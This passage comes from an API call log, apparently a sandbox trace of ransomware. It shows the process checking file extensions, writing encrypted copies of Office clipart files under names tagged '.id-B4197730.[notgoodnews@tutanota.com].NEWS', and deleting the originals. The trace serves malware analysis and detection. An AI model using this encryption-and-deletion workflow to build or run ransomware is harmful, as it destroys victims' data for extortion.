[0090.059] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0090.059] lstrlenW (lpString=".ppt") returned 4 [0090.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0090.059] lstrlenW (lpString=".zip") returned 4 [0090.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.059] lstrlenW (lpString=".rar") returned 4 [0090.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.059] lstrlenW (lpString=".bz2") returned 4 [0090.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.059] lstrlenW (lpString=".7z") returned 3 [0090.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0090.060] lstrlenW (lpString=".dbf") returned 4 [0090.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0090.060] lstrlenW (lpString=".1cd") returned 4 [0090.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0090.060] lstrlenW (lpString=".jpg") returned 4 [0090.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.060] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.060] lstrlenW (lpString="J0086432.WMF") returned 12 [0090.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.061] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=33434) returned 1 [0090.061] CloseHandle (hObject=0x39c) returned 1 [0090.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220 [0090.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.061] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.061] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0090.062] GetLastError () returned 0x0 [0090.062] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x829a, lpOverlapped=0x0) returned 1 [0090.063] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x82a0, lpOverlapped=0x0) returned 1 [0090.065] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.065] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.065] SetEndOfFile (hFile=0x370) returned 1 [0090.065] CloseHandle (hObject=0x370) returned 1 [0090.065] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.065] SetEndOfFile (hFile=0x39c) returned 1 [0090.066] CloseHandle (hObject=0x39c) returned 1 [0090.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0090.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0090.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0090.067] lstrlenW (lpString=".doc") returned 4 [0090.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.067] lstrlenW (lpString=".docx") returned 5 [0090.067] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0090.067] lstrlenW (lpString=".pdf") returned 4 [0090.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.067] lstrlenW (lpString=".xls") returned 4 [0090.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.067] lstrlenW (lpString=".xlsx") returned 5 [0090.067] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0090.067] lstrlenW (lpString=".ppt") returned 4 [0090.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0090.067] lstrlenW (lpString=".zip") returned 4 [0090.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.067] lstrlenW (lpString=".rar") returned 4 [0090.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.067] lstrlenW (lpString=".bz2") returned 4 [0090.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.067] lstrlenW (lpString=".7z") returned 3 [0090.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0090.067] lstrlenW (lpString=".dbf") returned 4 [0090.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0090.067] lstrlenW (lpString=".1cd") returned 4 [0090.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0090.068] lstrlenW (lpString=".jpg") returned 4 [0090.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0090.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0090.068] lstrlenW (lpString=".doc") returned 4 [0090.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.068] lstrlenW (lpString=".docx") returned 5 [0090.068] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0090.068] lstrlenW (lpString=".pdf") returned 4 [0090.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.068] lstrlenW (lpString=".xls") returned 4 [0090.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.068] lstrlenW (lpString=".xlsx") returned 5 [0090.068] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0090.068] lstrlenW (lpString=".ppt") returned 4 [0090.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0090.068] lstrlenW (lpString=".zip") returned 4 [0090.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.068] lstrlenW (lpString=".rar") returned 4 [0090.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.068] lstrlenW (lpString=".bz2") returned 4 [0090.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.068] lstrlenW (lpString=".7z") returned 3 [0090.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0090.068] lstrlenW (lpString=".dbf") returned 4 [0090.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0090.068] lstrlenW (lpString=".1cd") returned 4 [0090.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0090.068] lstrlenW (lpString=".jpg") returned 4 [0090.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.069] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.069] lstrlenW (lpString="J0086478.WMF") returned 12 [0090.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.069] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=14174) returned 1 [0090.069] CloseHandle (hObject=0x39c) returned 1 [0090.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220 [0090.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.069] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.069] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0090.070] GetLastError () returned 0x0 [0090.070] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x375e, lpOverlapped=0x0) returned 1 [0090.071] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x3760, lpOverlapped=0x0) returned 1 [0090.073] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.073] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.073] SetEndOfFile (hFile=0x370) returned 1 [0090.073] CloseHandle (hObject=0x370) returned 1 [0090.073] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.073] SetEndOfFile (hFile=0x39c) returned 1 [0090.074] CloseHandle (hObject=0x39c) returned 1 [0090.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0090.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0090.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0090.075] lstrlenW (lpString=".doc") returned 4 [0090.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.075] lstrlenW (lpString=".docx") returned 5 [0090.075] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0090.075] lstrlenW (lpString=".pdf") returned 4 [0090.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.075] lstrlenW (lpString=".xls") returned 4 [0090.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.075] lstrlenW (lpString=".xlsx") returned 5 [0090.075] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0090.075] lstrlenW (lpString=".ppt") returned 4 [0090.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0090.075] lstrlenW (lpString=".zip") returned 4 [0090.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.075] lstrlenW (lpString=".rar") returned 4 [0090.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.075] lstrlenW (lpString=".bz2") returned 4 [0090.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.075] lstrlenW (lpString=".7z") returned 3 [0090.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0090.075] lstrlenW (lpString=".dbf") returned 4 [0090.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0090.075] lstrlenW (lpString=".1cd") returned 4 [0090.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0090.076] lstrlenW (lpString=".jpg") returned 4 [0090.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0090.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0090.076] lstrlenW (lpString=".doc") returned 4 [0090.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.076] lstrlenW (lpString=".docx") returned 5 [0090.076] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0090.076] lstrlenW (lpString=".pdf") returned 4 [0090.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.076] lstrlenW (lpString=".xls") returned 4 [0090.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.076] lstrlenW (lpString=".xlsx") returned 5 [0090.076] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0090.076] lstrlenW (lpString=".ppt") returned 4 [0090.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0090.076] lstrlenW (lpString=".zip") returned 4 [0090.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.076] lstrlenW (lpString=".rar") returned 4 [0090.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.076] lstrlenW (lpString=".bz2") returned 4 [0090.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.076] lstrlenW (lpString=".7z") returned 3 [0090.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0090.076] lstrlenW (lpString=".dbf") returned 4 [0090.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0090.076] lstrlenW (lpString=".1cd") returned 4 [0090.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0090.076] lstrlenW (lpString=".jpg") returned 4 [0090.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.077] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.077] lstrlenW (lpString="J0089945.WMF") returned 12 [0090.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.077] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=19898) returned 1 [0090.077] CloseHandle (hObject=0x39c) returned 1 [0090.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220 [0090.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.077] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.077] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0090.078] GetLastError () returned 0x0 [0090.078] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x4dba, lpOverlapped=0x0) returned 1 [0090.079] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x4dc0, lpOverlapped=0x0) returned 1 [0090.081] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.081] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.081] SetEndOfFile (hFile=0x370) returned 1 [0090.081] CloseHandle (hObject=0x370) returned 1 [0090.081] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.081] SetEndOfFile (hFile=0x39c) returned 1 [0090.082] CloseHandle (hObject=0x39c) returned 1 [0090.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0090.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0090.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0090.082] lstrlenW (lpString=".doc") returned 4 [0090.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.082] lstrlenW (lpString=".docx") returned 5 [0090.082] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0090.083] lstrlenW (lpString=".pdf") returned 4 [0090.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.083] lstrlenW (lpString=".xls") returned 4 [0090.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.083] lstrlenW (lpString=".xlsx") returned 5 [0090.083] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0090.083] lstrlenW (lpString=".ppt") returned 4 [0090.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0090.083] lstrlenW (lpString=".zip") returned 4 [0090.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.083] lstrlenW (lpString=".rar") returned 4 [0090.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.083] lstrlenW (lpString=".bz2") returned 4 [0090.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.083] lstrlenW (lpString=".7z") returned 3 [0090.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0090.083] lstrlenW (lpString=".dbf") returned 4 [0090.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0090.083] lstrlenW (lpString=".1cd") returned 4 [0090.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0090.083] lstrlenW (lpString=".jpg") returned 4 [0090.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0090.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0090.083] lstrlenW (lpString=".doc") returned 4 [0090.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.083] lstrlenW (lpString=".docx") returned 5 [0090.083] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0090.083] lstrlenW (lpString=".pdf") returned 4 [0090.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.083] lstrlenW (lpString=".xls") returned 4 [0090.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.084] lstrlenW (lpString=".xlsx") returned 5 [0090.084] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0090.084] lstrlenW (lpString=".ppt") returned 4 [0090.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0090.084] lstrlenW (lpString=".zip") returned 4 [0090.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.084] lstrlenW (lpString=".rar") returned 4 [0090.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 